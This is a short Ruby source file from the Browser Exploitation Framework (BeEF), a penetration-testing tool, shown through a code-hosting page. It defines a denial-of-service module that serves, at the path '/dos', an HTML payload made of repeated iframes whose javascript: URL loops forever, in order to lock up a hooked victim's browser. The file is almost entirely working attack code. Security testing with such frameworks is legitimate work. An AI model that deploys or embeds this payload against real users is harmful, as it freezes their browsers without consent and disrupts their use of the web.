Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/resource_exhaustion_dos/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Resource_exhaustion_dos < BeEF::Core::Command
7
def self.options
8
[]
9
end
10
11
def pre_send
12
src = %q{<iframe src="javascript:while(true) window.location='';">}
13
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
14
'200',
15
{ 'Content-Type' => 'text/html' },
16
src * rand(10..19),
17
'/dos',
18
-1
19
)
20
end
21
22
def post_execute
23
save({ 'result' => @datastore['result'] })
24
end
25
end
26
27